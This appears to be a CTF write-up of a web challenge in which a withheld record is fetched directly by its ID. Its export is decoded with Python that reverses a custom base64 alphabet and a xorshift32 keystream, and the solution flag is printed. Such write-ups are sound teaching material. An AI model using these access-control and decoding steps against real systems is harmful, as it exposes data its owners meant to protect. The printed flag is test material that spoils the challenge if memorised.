DL·SYS
Contact ↗

CSCTF 2026 · Web · 120 pts

smuggler.

The record was hidden in the browser, not on the server, and the export key shipped with the export.

IDORClient-side access controlxorshift32Custom base64
EventCSCTF 2026, Operation Dawn (online jeopardy)
CategoryWeb
Points120
StatusSolved during the event
TargetCourier returns catalogue and export endpoint (assigned container)

TL;DR. The catalogue renders one record as "Withheld" on the client, but GET /d/b2fb254a46b5b373 returns it to anyone. The page also ships window.__EXPORT__ with the ciphertext parts, the seed and the alphabet, and exporter.js undoes the custom base64 and the xorshift32 XOR in the browser. Decoding it locally yields a ZIP containing the release authorization.

Challenge

The target is a courier returns catalogue. Most records are public; one is marked withheld. The page advertises an export feature that packages a record for release. The flag is inside the release authorization document.

First look

GET / embedded the whole catalogue in a script block:

window.__CATALOG__ = [
  {"id":"...","title":"...","status":"released"},
  ...
  {"id":"b2fb254a46b5b373","title":"...","status":"withheld"}
];

The withheld row was rendered without a link. The record route itself did not care:

GET /d/b2fb254a46b5b373
200 OK
<script>window.__EXPORT__ = {"parts":[...],"seed":523124044,
  "alphabet":"..."}</script>
<script src="/assets/exporter.js"></script>

exporter.js joined the parts, mapped the custom alphabet back to standard Base64, called atob, then XORed every byte with a xorshift32 keystream seeded by seed. All of that material is in the response.

Dead ends

Solution

1. Pull the export blob

import re, json, requests

html = requests.get(BASE + "/d/b2fb254a46b5b373").text
cfg = json.loads(re.search(r"window\.__EXPORT__\s*=\s*(\{.*?\});", html, re.S).group(1))
parts = "".join(cfg["parts"])
print(len(parts), cfg["seed"], cfg["alphabet"])

2. Undo the alphabet and the keystream

import base64

std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
blob = base64.b64decode(parts.translate(str.maketrans(cfg["alphabet"], std)))

x = cfg["seed"] & 0xFFFFFFFF
out = bytearray(blob)
for i in range(len(out)):
    x ^= (x << 13) & 0xFFFFFFFF
    x ^= x >> 17
    x ^= (x << 5) & 0xFFFFFFFF
    out[i] ^= x & 0xFF

open("record.zip", "wb").write(out)

The xorshift is the standard 13/17/5 variant, all arithmetic on 32-bit words, and only the low byte is used per output byte. The first bytes of out are PK\x03\x04, which confirms the ordering.

3. Read the document

unzip -l record.zip
unzip -p record.zip 02-release-authorization.txt

The archive contains the release authorization for the withheld record; the flag is in that text file.

Flag

FlagCSCTF{BAgeGb7QUuCmB0ZE4UzzZmPx}

What I took from it